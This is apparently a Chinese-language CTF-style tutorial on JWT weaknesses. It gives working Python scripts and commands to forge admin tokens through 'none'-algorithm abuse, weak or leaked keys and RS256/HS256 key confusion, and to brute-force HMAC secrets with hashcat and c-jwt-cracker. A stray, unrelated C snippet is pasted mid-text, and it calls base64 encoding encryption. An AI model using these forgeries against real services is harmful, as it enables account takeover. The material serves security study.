什么是jwt?

JWT(json web token),它并不是一个具体的技术实现,而更像是一种标准。
JWT规定了数据传输的结构,一串完整的JWT由三段落组成,每个段落用英文句号连接(.)连接,他们分别是:Header、Payload、Signature,所以,常规的JWT内容格式是这样的:AAA.BBB.CCC
并且,这一串内容会base64加密;也就是说base64解码就可以看到实际传输的内容。

常见的jwt加密算法

HS256(HMAC with SHA-256):使用单个密钥进行加密和解密。
HS384(HMAC with SHA-384):与 HS256 类似,但使用更安全的 SHA-384 哈希算法。
HS512(HMAC with SHA-512):与 HS256 类似,但使用更安全的 SHA-512 哈希算法。
RS256(RSA Signature with SHA-256):使用公钥和私钥进行加密和解密。
RS384(RSA Signature with SHA-384):与 RS256 类似,但使用更安全的 SHA-384 哈希算法。
RS512(RSA Signature with SHA-512):与 RS256 类似,但使用更安全的 SHA-512 哈希算法。
ES256(Elliptic Curve Digital Signature Algorithm with SHA-256):使用椭圆曲线密钥对加密和解密。ES384(Elliptic Curve Digital Signature Algorithm with SHA-384):与 ES256 类似,但使用 更安全的 SHA-384 哈希算法。
ES512(Elliptic Curve Digital Signature Algorithm with SHA-512):与 ES256 类似,但使用更安全的 SHA-512 哈希算法。

比较RS256和ES256两种算法,在安全性方面,两种算法都是非常安全的。两种算法的差别在于它们使用的密钥长度不同:
● RS256使用的是RSA算法,因此它使用的是长度较长的密钥。
● ES256使用的是ECDSA算法,因此它使用的是较短的密钥。
因此,如果对性能要求比较高,可以使用ES256,如果对安全性要求比较高,可以使用RS256。
总的来说,选择哪种算法取决于应用的需求和性能要求。两种算法都可以在适当的情况下使用,以满足应用的安全和性能要求。

传统token与jwt方式的区别:

传统token方式:
用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时 、是否合法。

jwt方式:
用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法

无验证的jwt

通过请求得到的jwt是eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NzYyOTQwNzQsImV4cCI6MTY3NjMwMTI3NCwibmJmIjoxNjc2Mjk0MDc0LCJzdWIiOiJ1c2VyIiwianRpIjoiMThiNDc4YjBlNGE2OTQ0NDc2YTEzNThiOGFhYzJiOGUifV0
通过https://jwt.io/解码发现加密方式是None,这样是不安全的,攻击者可以构造任意用户身份
使用该脚本需要安装相关依赖,参考:pip uninstall jwt pip uninstall PyJWT pip install PyJWT
exp:

import jwt

# payload
token_dict = {
"iss": "admin",
"iat": 1632670820,
"exp": 1632678020,
"nbf": 1632670820,
"sub": "admin",
"jti": "147cc3b129a041cdd38e3f127680d1e4"
}

headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)

print(jwt_token)

xxxxxxxxxx #include<stdio.h>​​int main(void){    char name[20];    printf(“Enter your name: “);    scanf(“%s”,&name);    canshu(name);        return 0;}void canshu(char name) {    printf(“hello my name is %s”,name);}​/传入字符串需要使用字符串指针char/c

得到的jwt是
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY3NjI5NDQ0NCwiZXhwIjoxNjc2MzAxNjQ0LCJuYmYiOjE2NzYyOTQ0NDQsInN1YiI6InVzZXIiLCJqdGkiOiI0YjJhNjAyMTdiM2VlMjYxZWRmNGYxYzhmYjMwYWMxNyJ9.5AFBAQuVTRKMori672FetNVJgyuNZ5zs6ZQSExtyPIM
通过https://jwt.io/发现是HS256加密,但其实后端没有进行严格的验证,我们将加密方式设置为None即可伪造用户身份,参考上面的exp

弱口令

当我们得知一个jwt的加密口令时,如:123456。可以构造对应用户的jwt

import jwt

def generate_jwt(payload, secret):
return jwt.encode(payload, secret, algorithm='HS256')

def parse_jwt(token, secret):
return jwt.decode(token, secret, algorithms=['HS256'])

# 示例使用
payload = {
"iss": "admin",
"iat": 1676286520,
"exp": 1676293720,
"nbf": 1676286520,
"sub": "admin",
"jti": "7654e9ebef09a6b0554ca996240de6fb"
}
secret = '123456'

token = generate_jwt(payload, secret)
print(f"生成的 JWT 为:{token}")

parsed_payload = parse_jwt(token, secret)
print(f"解析的 Payload 为:{parsed_payload}")

暴力破解

c-jwt-cracker
(应该是采用逐位穷举爆破的方法,所以时间很长,只适用于跑短的秘钥)
git clone https://gitclone.com/github.com/brendan-rius/c-jwt-cracker.git
./jwtcracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY3NjI2MzIxMiwiZXhwIjoxNjc2MjcwNDEyLCJuYmYiOjE2NzYyNjMyMTIsInN1YiI6InVzZXIiLCJqdGkiOiI3NmQ3OGRlNjVhZTIxZDBkMzI2ZWNjZWQ3MTA2NDNkZiJ9.3M4CqbJeNhSwJOTtp2DrtbcblZxOqBky8rTsT4HX6S0

hashcat
(采用字典爆破,字典参考https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list 这里使用AMD的CPU貌似需要安装驱动,使用英特尔的可以直接跑出来,kali内存分配的太少了也跑不出来)

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzY1Njk0MiwiZXhwIjoxNjY3NjY0MTQyLCJuYmYiOjE2Njc2NTY5NDIsInN1YiI6InVzZXIiLCJqdGkiOiJkODMwMGU0MWJkZWI5Y2M1MjIzNzgxMDdkMDE2MzlhOCJ9.lYnVCfleYbtGCZMTtBlRHPn2b9AKLLa2qSe7ksQb53o jwt.secrets.list

跑出来了直接使用上面的脚本生成jwt即可

亦可以使用脚本生成字典并爆破
生成六位数字典

python .\pydictor.py -base d --len 1 6 -o nums.txt

exp

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-06 16:34:57
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-06 19:34:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import jwt
import json

def runblasting(path,jwt_str,alg):
if alg == "none":
alg = "HS256"
with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
print('use '+key_)
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")

if __name__ == '__main__':
runblasting('nums.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzg3NjQ4MCwiZXhwIjoxNjI3ODgzNjgwLCJuYmYiOjE2Mjc4NzY0ODAsInN1YiI6InVzZXIiLCJqdGkiOiJjMGYzODkwMmE1ODE4ZjhlMjM5Yzg3N2EwNzZmNmU5MCJ9.o68KTTbu7V2enU4dXXASeJs6rJbNbVbLtoEqC_WMqBo','HS256')

私钥泄露

当我们获取到私钥以后(dirsearch扫出来private.key),可以构造任意用户的jwt。

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

秘钥混淆攻击

前提:获取到public.key,并且后端支持HS256和RS256两种算法

分配给我们的jwt是使用rs256进行加密的,验证的jwt是直接使用public验证,那么我们可以直接使用只需要一个钥匙的hs256算法,当我们得到了public.key,直接使用hs256生成jwt即可

import jwt

with open("public.key", "rb") as key_file:
private_key = key_file.read()

token = jwt.encode({ "user": "admin" }, private_key, algorithm="HS256")

print(token)

后端代码

var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
jwt.verify(auth, cert,function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin'+err);
}
});
});

module.exports = router;